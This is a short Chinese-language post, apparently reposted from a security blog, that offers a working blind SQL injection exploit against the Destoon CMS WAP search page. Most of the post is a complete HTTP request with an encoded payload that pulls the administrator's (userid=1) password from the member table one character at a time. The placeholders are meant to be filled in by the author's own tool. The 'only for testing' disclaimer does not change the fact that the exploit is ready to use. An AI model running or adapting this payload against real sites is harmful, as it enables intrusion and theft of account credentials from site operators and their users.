不知道是不是0day了，去年年底暴的漏洞。以下仅作测试：

注意【%pos%】是数字【%cmp%】是字符的十六进制（我是配合我的工具）。判定返回的结过，如果是真，则返回更不等的时候返回不一样的。

GET /wap/index.php?moduleid=5&kw=DHA%2525%2527%09and%09ascii(substring((SELECT%09password%09FROM%09destoon_member%09WHERE%09userid=1),%pos%,1))=0x%cmp%%23 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Accept-Encoding: gzip, deflate
Host: www.2cto.com
Connection: Keep-Alive

摘自 hi.baidu.com/it_security